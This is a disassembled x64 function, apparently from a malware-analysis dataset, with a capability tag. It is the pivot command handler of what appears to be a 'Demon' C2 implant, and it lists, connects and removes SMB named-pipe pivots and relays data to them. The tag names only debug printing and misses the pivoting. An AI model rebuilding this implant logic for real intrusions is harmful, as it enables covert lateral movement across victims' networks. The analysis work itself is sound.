Function at 0x14000d7f0
Capabilities:
Print debug messages

Disassembly:
push rbp
mov rbp, rsp
push r15
mov r15, rcx
mov ecx, 0x9d8
push r14
lea r14, [0x140027618]
push r13
push r12
lea r12, str.CommandPivot
push rdi
push rsi
push rbx
and rsp, 0xfffffffffffffff0
sub rsp, 0x60
call sym.PackageCreate
mov rcx, r15
mov r13, rax
call sym.ParserGetInt32
mov rcx, r13
mov ebx, eax
mov edx, eax
call sym.PackageAddInt32
mov r9d, ebx
mov rdx, r12
mov r8d, 0x9a6
lea rcx, str._DEBUG::_s::_d__Pivot____d_n
call sym.DbgPrint
cmp ebx, 0xb
je 0x14000da64
jg 0x14000d86f
cmp ebx, 1
je 0x14000d87d
cmp ebx, 0xa
je 0x14000d8ef
jmp 0x14000db24
cmp ebx, 0xc
je 0x14000da90
jmp 0x14000db24
lea r9, str.DEMON_PIVOT_LIST
mov r8d, 0x9ac
mov rdx, r12
mov rcx, r14
call sym.printf.constprop.0_5
mov rax, qword [0x14002d650]
lea rsi, str._DEBUG::_s::_d__Pivot_List___DemonId:__x__Named_Pipe:__ls__n
mov rax, qword [rax]
mov rbx, qword [rax + 0x902]
test rbx, rbx
je 0x14000db24
mov rax, qword [rbx + 8]
mov r8d, 0x9b3
mov rdx, r12
mov rcx, rsi
mov qword [rsp + 0x20], rax
mov r9d, dword [rbx]
call sym.DbgPrint
mov edx, dword [rbx]
mov rcx, r13
call sym.PackageAddInt32
mov rdx, qword [rbx + 8]
mov rcx, r13
call sym.PackageAddWString
mov rbx, qword [rbx + 0x20]
jmp 0x14000d8ad
lea r9, str.DEMON_PIVOT_SMB_CONNECT
mov r8d, 0x9c2
mov rdx, r12
mov rcx, r14
call sym.printf.constprop.0_5
lea rdx, [rsp + 0x58]
mov rcx, r15
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
call sym.ParserGetBytes
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x30]
mov qword [rsp + 0x50], rax
movaps xmm0, xmmword [rsp + 0x50]
lea r8, [rsp + 0x44]
movaps xmmword [rsp + 0x30], xmm0
call sym.PivotAdd
mov rbx, qword [0x14002d650]
test eax, eax
je 0x14000da33
mov eax, dword [rsp + 0x44]
mov r9, qword [rsp + 0x48]
mov r8d, 0x9cc
mov rdx, r12
lea rcx, str._DEBUG::_s::_d__Successful_connected:__x_:__d_n
mov dword [rsp + 0x20], eax
call sym.DbgPrint
mov rcx, r13
mov edx, 1
call sym.PackageAddInt32
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x48]
mov rcx, r13
call sym.PackageAddBytes
mov ecx, dword [rsp + 0x44]
mov rdi, qword [rsp + 0x48]
xor eax, eax
rep stosb byte [rdi], al
mov rax, qword [rbx]
mov rcx, qword [rsp + 0x48]
lea rsi, str._DEBUG::_s::_d___x_n
call qword [rax + 0x3b0]
mov rax, qword [rbx]
mov rdx, r12
mov rcx, r14
lea r9, str.Smb_Pivots_:__
mov r8d, 0x9d8
mov qword [rsp + 0x48], 0
mov rbx, qword [rax + 0x902]
call sym.printf.constprop.0_5
test rbx, rbx
je 0x14000da16
mov r9d, dword [rbx]
mov r8d, 0x9dc
mov rdx, r12
mov rcx, rsi
call sym.DbgPrint
mov rbx, qword [rbx + 0x20]
jmp 0x14000d9f7
lea r9, [0x140027986]
mov r8d, 0x9e1
mov rdx, r12
mov rcx, r14
call sym.printf.constprop.0_5
jmp 0x14000db24
lea r9, str.Failed_to_connect
mov r8d, 0x9e6
mov rdx, r12
mov rcx, r14
call sym.printf.constprop.0_5
xor edx, edx
mov rcx, r13
call sym.PackageAddInt32
mov rax, qword [rbx]
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
jmp 0x14000da83
mov rcx, r15
call sym.ParserGetInt32
mov ecx, eax
mov r15d, eax
call sym.PivotRemove
mov rcx, r13
mov edx, eax
call sym.PackageAddInt32
mov edx, r15d
mov rcx, r13
call sym.PackageAddInt32
jmp 0x14000db24
lea r9, str.DEMON_PIVOT_SMB_COMMAND
mov r8d, 0x9fd
mov rdx, r12
mov rcx, r14
call sym.printf.constprop.0_5
mov rcx, r15
call sym.ParserGetInt32
mov rsi, qword [0x14002d650]
lea rdx, [rsp + 0x58]
mov rcx, r15
mov qword [rsp + 0x50], 0
mov ebx, eax
mov qword [rsp + 0x58], 0
mov rax, qword [rsi]
mov r13, qword [rax + 0x902]
call sym.ParserGetBytes
mov qword [rsp + 0x50], rax
test rax, rax
je 0x14000daf3
cmp dword [rsp + 0x58], 0
jne 0x14000db1a
lea r9, str.Cant_send_empty_data_to_pivot
mov r8d, 0xa07
mov rdx, r12
mov rcx, r14
call sym.printf.constprop.0_5
jmp 0x14000dbcf
cmp dword [r13], ebx
je 0x14000db54
mov r13, qword [r13 + 0x20]
test r13, r13
jne 0x14000db10
jmp 0x14000dbb7
mov rcx, r14
mov rdx, r12
lea r9, str.Pivot_transport
mov r8d, 0xa2c
call sym.printf.constprop.0_5
lea rsp, [rbp - 0x38]
mov rcx, r13
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
jmp sym.PackageTransmit
mov rcx, qword [r13 + 0x18]
lea rdx, [rsp + 0x50]
call sym.PipeWrite
test eax, eax
jne 0x14000db97
mov rdx, r12
mov rcx, r14
lea r9, str.PipeWrite_failed
mov r8d, 0xa1c
call sym.printf.constprop.0_5
mov rax, qword [rsi]
mov ecx, 1
mov rax, qword [rax + 0x8c2]
mov edx, dword [rax + 0x68]
call sym.PackageTransmitError
jmp 0x14000dbcf
mov dword [rsp + 0x20], ebx
mov r9d, dword [rsp + 0x58]
mov r8d, 0xa20
mov rdx, r12
lea rcx, str._DEBUG::_s::_d__Successfully_wrote_0x_x_bytes_of_data_to_demon__x_n
call sym.DbgPrint
jmp 0x14000dbcf
mov r9d, ebx
mov r8d, 0xa21
mov rdx, r12
lea rcx, str._DEBUG::_s::_d__Didnt_found_demon_pivot__x_n
call sym.DbgPrint
lea rsp, [rbp - 0x38]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret